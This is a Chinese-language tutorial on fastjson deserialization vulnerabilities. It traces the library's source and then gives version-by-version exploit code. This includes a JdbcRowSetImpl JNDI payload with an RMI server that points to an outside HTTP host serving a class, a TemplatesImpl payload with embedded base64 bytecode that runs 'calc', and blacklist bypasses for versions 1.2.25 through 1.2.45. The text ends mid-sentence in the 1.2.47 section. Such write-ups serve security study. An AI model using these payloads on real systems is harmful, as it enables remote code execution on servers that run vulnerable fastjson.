fastjson(一)反序列化
fastjson 反序列化
简单了解
fastjson 的 maven 坐标
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.4</version>
</dependency>
fastjson 是阿里巴巴的开源 JSON 解析库,可以把 json 字符串解析为 java Bean 对象,同样也可以把 java Bean 对象解析为 json 字符串。
javaBean 对象
那么什么是 javaBean 对象呢?
JavaBean 是一种符合特定规范的 Java 类,通俗点的解释就是:
- 属性是私有的,且每个属性都应该具有对应的 setter 和 getter 方法
- JavaBean 必须有一个无参数的公共构造方法。 如果你要自定义有参构造方法,那必须显示声明无参构造方法
一个 javaBean 的示例
package com.lingx5.entry;
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;
// 无参构造方法
public Person() {
}
// 带参数的构造方法(可选)
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// Getter方法
public String getName() {
return name;
}
// Setter方法
public void setName(String name) {
this.name = name;
}
// Getter方法
public int getAge() {
return age;
}
// Setter方法
public void setAge(int age) {
this.age = age;
}
}
toJSONString()
com.alibaba.fastjson.JSON#toJSONString(java.lang.Object)方法就是把 javaBean 转换为 json 字符串,这个过程它会去调用 javaBean 对象的所有 getter()方法,来获取属性的值。
package com.lingx5;
import com.alibaba.fastjson.JSON;
import com.lingx5.entry.Person;
public class jsonTest {
public static void main(String[] args) {
Person person = new Person("lingx5", 18);
String json = JSON.toJSONString(person);
System.out.println(json); // {"age":18,"name":"lingx5"}
}
}
结果肯定是显而易见的
当然,我们在 javaBean 对应个 getter()方法中加入输出,再来看看结果
我们再次运行 jsonTest
在默认情况下,Fastjson 将 JavaBean 对象序列化为 JSON 字符串时,主要依赖于反射机制,并通过 内省 (Introspection) 机制 查找并调用 JavaBean 对象的 getter 方法 来获取属性值。
parse()
com.alibaba.fastjson.JSON#parse(java.lang.String)这个方法可以把 JSON 字符串转换为 java 对象,不过 默认情况下会转换为 com.alibaba.fastjson.JSONObject 对象,不会是我们的 javaBean 对象
package com.lingx5;
import com.alibaba.fastjson.JSON;
public class jsonTest {
public static void main(String[] args) {
String personJson = "{\"name\":\"lingx5\",\"age\":18}";
Object parse = JSON.parse(personJson);
System.out.println(parse);
System.out.println("parse的类型是:"+parse.getClass().getTypeName());
}
}
我们没有转换为 javaBean 对象,那自然也不会调用 javaBean 的 getter()和 setter()方法
那怎么转化为 javaBean 对象呢?
@type
在 fastjson1.2.4 中,默认是开启 autoType 属性的。即在 parse()方法执行时,识别到字段 @type 会根据字段的值,利用 javaBean 的无参构造器和 setter()去封装对应的 javaBean 对象。也正是因为这一特性,为 fastjson 反序列化漏洞打开了大门。
package com.lingx5;
import com.alibaba.fastjson.JSON;
public class jsonTest {
public static void main(String[] args) {
String personJson = "{\"@type\":\"com.lingx5.entry.Person\",\"name\":\"lingx5\",\"age\":18}";
Object parse = JSON.parse(personJson);
System.out.println(parse);
System.out.println("parse的类型是:"+parse.getClass().getTypeName());
}
}
我们看到在处理@type 字段时,parse()方法会去调用我们指定的类的 setter()方法,封装一个 javaBean 对象出来
parseObject()
其实除了@type 字段可以让 json 字符串转化为我们想要的 javaBean 对象,还可以使用 com.alibaba.fastjson.JSON#parseObject(java.lang.String, java.lang.Class
package com.lingx5;
import com.alibaba.fastjson.JSON;
public class jsonTest {
public static void main(String[] args) {
String personJson = "{\"name\":\"lingx5\",\"age\":18}";
Object parse = JSON.parseObject(personJson, com.lingx5.entry.Person.class);
System.out.println(parse);
System.out.println("parse的类型是:"+parse.getClass().getTypeName());
}
}
可以看到,我们仍然可以得到 javaBean 对象
而 fastjson 同样提供了单参数的 parseObject()方法 com.alibaba.fastjson.JSON#parseObject(java.lang.String),他其实就是对 com.alibaba.fastjson.JSON#parse(java.lang.String)方法做了一层封装,返回结果做了强转为 JSONObject 对象。
这样其实导致 com.alibaba.fastjson.JSON#parseObject(java.lang.String)在处理@type 注解时,既会调用 setter()方法,也会在 JSON.toJSON(obj)时调用 getter()方法。
值得注意的是
假设一个类
Person有一个字段name,但没有setName()方法,只有getName()方法。 Fastjson 仍然可能将 JSON 中的"name"键识别为一个属性,即使它无法通过 Setter 方法设置值 (在这种情况下,如果name字段是 public 的且非 final,Fastjson 可能会尝试直接字段赋值,但这通常不是首选方式)。
就像我们把 setName(String name)方法注释起来,而 name 字段为 private 时,运行下面这段代码
package com.lingx5;
import com.alibaba.fastjson.JSON;
import com.lingx5.entry.Person;
public class jsonTest {
public static void main(String[] args) {
String personJson = "{\"name\":\"lingx5\",\"age\":18}";
Object parse = JSON.parseObject(personJson, com.lingx5.entry.Person.class);
System.out.println(parse);
System.out.println("parse的类型是:"+parse.getClass().getTypeName());
Person person = (Person) parse;
System.out.println((person.getName() + ":" + person.getAge()));
}
}
输出
看到 name 的值为 null,而当我们把 name 改为 public 时,可以看到即使没有 setter 方法,name 仍然是可以有值的。
fastjson 源码分析
我们在 Object parse = JSON.parse(personJson); 出打断点,跟如

parseObject
调试我们会来到 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法,先检测@type 标签,然后根据值进行类加载

TypeUtils 类加载
parseObject 检测并获取获取@type 后,会调用 com.alibaba.fastjson.util.TypeUtils#loadClass 方法进行类加载

而 com.alibaba.fastjson.util.TypeUtils#loadClass 方法,会去检测类型,做对应的类加载。数组 [ 开头和引用 L 开头,; 结尾

这其实时 fastjson 为了后续调用 asm 去加载属性值,做的处理。只是没有想到会被我们利用拿来绕过
当然,我们的字段现在只是普通的类名,不会走这里,我们只是进行类加载,拿到 com.lingx5.entry.Person 类,并放入 com.alibaba.fastjson.util.TypeUtils#mappings 属性中,然后把 class 返回

getDeserializer
获取 Java Bean 的反序列化器 (Deserializer)

com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type) 里面经过一系列的判断后,我们会来到 com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer 方法去创建 Java Bean 反序列化器

继续跟进,会调用到 com.alibaba.fastjson.util.DeserializeBeanInfo#computeSetters 封装 BeanInfo 对象

我们跟进它,会发现他会通过反射获取我们 class com.lingx5.entry.Person 的无参构造方法和 setter 方法,当然要符合规范,我们进去看看有哪些规则
开始就是获取无参构造器,把构造方法赋值到 com.alibaba.fastjson.util.DeserializeBeanInfo#defaultConstructor 属性中

截取一下判断方法的关键语句(注释标明作用)
// 反射获取所有方法名,遍历
for (Method method : clazz.getMethods()) {
int ordinal = 0, serialzeFeatures = 0;
String methodName = method.getName();
// 方法名长度必须 >= 4
if (methodName.length() < 4) {
continue;
}
// 非静态方法
if (Modifier.isStatic(method.getModifiers())) {
continue;
}
// support builder set
// 方法返回类型是 void 或者 当前类 clazz 本身
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(clazz))) {
continue;
}
// 方法参数只能有一个
if (method.getParameterTypes().length != 1) {
continue;
}
// 检测@JSONFiled注解
JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation == null) {
annotation = TypeUtils.getSupperMethodAnnotation(clazz, method);
}
if (annotation != null) {
if (!annotation.deserialize()) {
continue;
}
ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
if (annotation.name().length() != 0) {
String propertyName = annotation.name();
beanInfo.add(new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures));
TypeUtils.setAccessible(method);
continue;
}
}
// 方法以 "set" 开头
if (!methodName.startsWith("set")) {
continue;
}
char c3 = methodName.charAt(3);
// 检测是否符合javaBean规范,并拆解属性名称
String propertyName;
if (Character.isUpperCase(c3)) {
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
// 忽略 '_'字符
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}
// 对boolean类型字段的判断
Field field = TypeUtils.getField(clazz, propertyName);
if (field == null && method.getParameterTypes()[0] == boolean.class) {
String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName);
}
if (field != null) {
JSONField fieldAnnotation = field.getAnnotation(JSONField.class);
if (fieldAnnotation != null) {
ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
beanInfo.add(new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures));
continue;
}
}
}
// 封装成Filedinfo中,并添加到beanInfo
beanInfo.add(new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures));
TypeUtils.setAccessible(method);
}
特性
通过上边的判断,我们可以总结出 setter 方法的一些特性
- 方法名长度必须 >= 4
- 非静态方法
- 方法返回类型是 void 或者 当前类 clazz 本身
- 方法参数只能有一个
- 方法以 "set" 开头
除此之外 fastjson 还有其他特性:
- 匹配 getter()和 setter()方法时,
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串 - 在序列化和反序列化 byte [] 数组时,会做 base64 的编码和解码
最后把 beanInfo 返回

com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer 做了一系列判断后,利用 asmFactory 创建 JavaBeanDeserializer

利用 asm 创建了一个 Java Bean 的反序列化器

最后利用 classLoader 把它加载到内存,并创建实例返回

deserialze

调用 asm 创建的 Java Bean 的反序列化器,通过反射机制,创建 Person 实例。我们在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer 类中打断点
先调用无参构造方法,这是在创建 JavaBeanDeserializer 时调用的

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object) 通过 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 调用 com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, int),给属性赋值

利用 setter 方法给属性赋值


fastjson 反序列
1.2.24
经过前面的学习,我们已经理解了 fastjson 是如何运作的。对于 fastjson 反序列化攻击,比较流行的就是 TemplatesImpl 反序列化和 JdbcRowSetImpl 反序列化
JdbcRowSetImpl
我们先来看 JdbcRowSetImpl
我们要利用 fastjson 构成攻击,肯定是利用 fastjson 做解析式自动调用 setter()方法的特性,我们来看 com.sun.rowset.JdbcRowSetImpl#setAutoCommit 方法
public void setAutoCommit(boolean autoCommit) throws SQLException {
// The connection object should be there
// in order to commit the connection handle on or off.
if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
// Coming here means the connection object is null.
// So generate a connection handle internally, since
// a JdbcRowSet is always connected to a db, it is fine
// to get a handle to the connection.
// Get hold of a connection handle
// and change the autcommit as passesd.
conn = connect();
// After setting the below the conn.getAutoCommit()
// should return the same value.
conn.setAutoCommit(autoCommit);
}
}
看到当 conn 为 null 时,会去调用 connect()方法,我们进入看一下这个 connect()方法

这不就像极了我们 JNDI 注入的方式,接下来只需要 getDataSourceName()满足可空,就可以利用了
看到 dataSource 有对应的 setter()方法,我们所有在对应 JDK 版本的 JNDI 注入漏洞都能打了
我这里用的 jdk7,还没有对 JNDI 注入做防御
JdbcRowSetImplEXP
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplEXP {
public static void main(String[] args) {
String payload ="{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSource\":\"rmi://localhost:1099/Exploit\"," +
// 调用 setAutoCommit 方法,触发攻击链
"\"autoCommit\":true" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}
RMIServer
package com.lingx5;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建JNDI引用
Reference ref = new Reference("Exploit", "Exploit", "http://lingx5.dns.army:8000/");
// 封装Reference对象
ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Exploit",refWrapper);
System.out.println("RMI registry started at 1099.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Exploit
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
还是一样,这个文件头是不能有 package 字段的,否则 JNDI 服务器加载不了这个类,也就无法复现成功
编译成 Class 的 jdk 版本要与运行版本一致,还有解释自己本例的 Exploit 的要删掉。因为 JNDI 会先去加载自己本地的类,本地没有才会去加载远程服务器的类
开启远程的 http 服务

执行

TemplatesImpl
这个类产生漏洞原因就是它拥有类加载的能力,并且调用了 newInstants()将定义的类实例化了。这会执行恶意类的 static 静态代码块
我们在结构的属性中可以看到这个类有 getter 和 setter 方法的属性
这里我们来到 getOutputProperties()方法,他会去调用 newTransformer()

而 newTransformer()会调用 getTransletInstance()方法

getTransletInstance()里有定义类的方法 defineTransletClasses()和实例化的方法 newInstance()

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses 的关键代码有:

看到 _class[i] 其实就是 _bytecodes[i] 定义的类,我们可以给 _bytecodes[i] 传递恶意类的字节码,
基本的链条就有了
getOutputProperties
newTransformer
getTransletInstance
defineTransletClasses
evil.class.newInstance
当让为了让链条成立,我们还需要躲避一些 if 判断,使得 _name 和 _factory 不为空
构造 payload
TemplatesImplEXP
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class TemplatesImplEXP {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClW" +
"AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50" +
"ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACAB" +
"AKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4v" +
"b3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcv" +
"YXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAI" +
"PGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwACQAK" +
"BwAhDAAiACMBAARjYWxjDAAkACUBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAmAAoBAARldmlsAQBA" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RU" +
"cmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl" +
"dEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFu" +
"Zy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2Vz" +
"czsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAAHQABAAEAAAAFKrcA" +
"AbEAAAABAAwAAAAGAAEAAAAHAAEADQAOAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAAT" +
"AA8AAAAEAAEAEAABAA0AEQACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAGAAPAAAABAAB" +
"ABAACAASAAoAAQALAAAATwACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwA" +
"AAAWAAUAAAAKAAkADQAMAAsADQAMABEADgATAAAABwACTAcAFAQAAQAVAAAAAgAW\"] ," +
"\"_name\":\"lingx5\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }" +
"}";
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}
注意:这里要注意 json 字符串的字段顺序,
_outputProperties一定要放在最后面。因为 fastjson 往往会按照 JSON 字符串中属性出现的顺序,依次调用对应的 setter 方法进行赋值。
你是否有疑惑:为什么要用 {} 呢?
这是因为:当 Fastjson 遇到 JSON 对象 {} 时,它会尝试将其反序列化为 Java 对象。 默认情况下,如果目标字段的类型是接口 (如 TransformerFactory, Map) 或抽象类,Fastjson 可能会选择反序列化为一个默认的实现类。
成功执行
我使用的恶意类
evil
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意编译版本和运行 fastjson 的 java 版本,大版本要相同。否则无法 defineClass()
Class2Bytes
工具类
package com.lingx5.exp;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
public class Class2Bytes {
public byte[] class2bytes(File classFile) {
try {FileInputStream fis = new FileInputStream(classFile);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bytesRead = 0;
byte[] bytes = new byte[4096];
while ((bytesRead = fis.read(bytes, 0, 4096)) != -1) {
baos.write(bytes, 0, bytesRead);
}
byte[] classBytes = baos.toByteArray();
return classBytes;
} catch (Exception e) {
System.out.println("转换出错: " + e.getMessage());
e.printStackTrace();
}
return null;
}
public static void main(String[] args) {
Class2Bytes c2b = new Class2Bytes();
byte[] bytes = c2b.class2bytes(new File("src/main/java/com/lingx5/exp/evil.class"));
String evilB64 = Base64.encode(bytes);
System.out.println(evilB64);
}
}
1.2.25-1.2.41
Fastjson 1.2.25 官方引入了 checkAutoType(),默认情况下禁用了 autotype 功能。而打开 autotype 之后,引入了一系列黑名单来实现防御,但是黑名单的防御机制肯定是有缺陷的,所以 fastjson 也提供了添加黑名单的接口,让用户可以自己添加。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 检测到 @type,会先去执行 com.alibaba.fastjson.parser.ParserConfig#checkAutoType

让我们看看他是如何检测的,首先是在 autoType 为 true 时,也就是支持@type 注解
而它里面有黑名单和用户自定义的白名单
加入的黑名单
0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"
当然,我们主要来绕过支持 autoType 时,白名单为空,我们的恶意类肯定是不在白名单中的。而我们要绕过黑名单,就会来到判断完之后的 com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

进去之后,就有我们之前说的 [ 和 L,; 的判断和截取

所以可以使用 L,; 来进行绕过
bypass25
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass25 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
"\"autoCommit\":true" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}
成功执行

1.2.42
作者把黑名单做了 hash 处理,目的就是为了让安全研究者不能看到具体的黑名单类名

同时在 checkAutoType 过滤 L 和 ; 时, 也把字符做了 hash 处理,并用异或进行处理

其实我们可以写一个 test 来测试一下这段代码
hashTest
package com.lingx5;
public class hashTest {
public static void main(String[] args) {
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
String className = "Lcom.example.Poc;";
// 计算哈希值
long calculatedHash = (((BASIC
^ className.charAt(0)) // 步骤 1: BASIC 异或 第一个字符 'L'
* PRIME) // 步骤 2: 步骤 1 的结果 乘以 PRIME
^ className.charAt(className.length() - 1)) // 步骤 3: 步骤 2 的结果 异或 最后一个字符 ';'
* PRIME; // 步骤 4: 步骤 3 的结果 乘以 PRIME
long expectedHash = 0x9198507b5af98f0L; // 目标哈希值
if (calculatedHash == expectedHash) { // 比较计算出的哈希值和目标哈希值
className = className.substring(1, className.length() - 1); // 如果相等,则移除首尾字符
}
System.out.println("Calculated Hash: 0x" + Long.toHexString(calculatedHash));
System.out.println("Expected Hash: 0x" + Long.toHexString(expectedHash));
System.out.println("className after if: " + className);
}
}
我们看输出结果
可以看到在 checkAutoType 中 hash 计算的代码就是去除了首位的 L 和 ;,然后再去判断白名单和黑名单
不过作者忽略了一点,在 com.alibaba.fastjson.util.TypeUtils#loadClass 方法中是递归处理 L 和 ; 的

所以基本上我们双写就能绕过了
bypass25
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass25 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
"\"autoCommit\":true" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}

1.2.43
在 fastjson-1.2.43 中,作者对双写绕过进行了修复。在 checkAutoType 判断中加入了遇到 LL 开头的类,就抛出异常
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
// 判断 L开头 ;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
// 判断 LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
我们自然会想到 com.alibaba.fastjson.util.TypeUtils#loadClass 对 [ 符号的处理,你能从这里绕过吗?
答案肯定是可以的
我们尝试加一个 [ 调试
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass43 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
"\"autoCommit\":true" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}

他在 parseArray 的时候报错了,期盼一个 [ 符号
exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
我们肯定希望绕过报错信息,在 42 , 的位置插入 [ 符号
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass43 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
"\"autoCommit\":true" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}
继续调试,可以看到这次我们就绕过了上面的报错语句

继续跟一下,看到在 smartMatch 中返回了 { 的 token 值

这里我们已经开始 deserialze 了,马上就要成功执行了。

还是抛出异常了

我们继续绕过一下这个异常
syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
在 [ 符号后面放置一个 {
来到了最终的 payload
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass43 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
"\"autoCommit\":true" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}

这其实是 fastjson 作者为了兼容性,没有做好数组类型的匹配而导致的
1.2.44
修复了 [ 的绕过,在 checkAutoType 中进行判断,以 [ 开头会抛出异常

autoType is not support. [com.sun.rowset.JdbcRowSetImpl
1.2.45
默认扩展了黑名单,但可以搭配 mybatis 组件来产生利用
我这里用的 jdk7,对应兼容的 mybatis 版本 3.2.8
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.2.8</version>
</dependency>
来到 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 这个类

我们看 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties 这个方法
public void setProperties(Properties properties) {
try {
// 初始化JNDI上下文
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
// 用JNDI连接datasource
if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
看着这个方法就不是很安全的样子,我们看看 properties.getProperty(DATA_SOURCE) 可控吗?

DATA_SOURCE 其实就是字符串 data_source
set 传的参数 Properties,我们看一下

继承了 Hashtable,而他的 getProperty 方法,找的父类获得 key,或者 调用 defaults 的 getProperty

也就是,我们需要传递一个 Hashtable 对象,属性我们是可控的,键为 data_source 值为恶意的 rmi 地址
bypass45
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass45 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
// 调用setProperties方法,并传入键值对
"\"properties\": {\"data_source\":\"rmi://127.0.0.1:1099/Exploit\"}" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}

1.2.47(通杀严重)
这个绕过版本,允许攻击者在没有开启 autoType 的情况进行攻击。 而且对于之前的版本也是可以达到命令执行的 。具体是怎么实现的呢?我们来看一下
因为我们的 autotype 为 false,我们想要拿到 class,就只能在检测 autotype 为 true 和 false 之间的代码中了

也就是这两句。我们先来看 clazz = deserializers.findClass(typeName);
deserializers
因为 com.alibaba.fastjson.parser.ParserConfig#deserializers 是一个 com.alibaba.fastjson.util.IdentityHashMap 类,我们要从 map 里找到 typeName,我们看到是要找到一个可控参数的 put 方法才可以。全局搜索 com.alibaba.fastjson.util.IdentityHashMap#put 方法

找到了 4 个方法,但是和 com.alibaba.fastjson.parser.ParserConfig#deserializers 有关的就只有前三个
- initDeserializers() : 没有参数,我们看到无法控制添加想要的键值
- getDeserializer(Class <?> clazz, Type type) : put 方法中的参数基本上都是硬编码的,我们没法利用
- putDeserializer(Type type, ObjectDeserializer deserializer) : 被上边的两个方法调用

所以我们就无法从 com.alibaba.fastjson.parser.ParserConfig#deserializers 下手了,我们只能看 clazz = TypeUtils.getClassFromMapping(typeName); 这个方法了
getClassFromMapping
我们先进去看看 TypeUtils.getClassFromMapping(typeName); 这个方法

发现他的返回值是 mappings.get(className); 我们现在就和分析 deserializers 时,思路一致,看看有没有能给 mappings 赋值的可控参数的方法,找到一下 33 个跟 mappings 有关的方法,但是只有 loadClass 满足我们想要的条件
我们看一下 com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean) 这个方法
/**
* 根据类名加载类
* 此方法优先检查类是否已经加载过,如果已经加载则直接返回
* 如果类名表示的是数组或内部类,则会相应地处理
* 如果类尚未加载,则尝试使用提供的类加载器、当前线程上下文类加载器或系统类加载器进行加载
*
* @param className 要加载的类名,不能为空
* @param classLoader 用于加载类的类加载器,如果为null,则使用系统类加载器
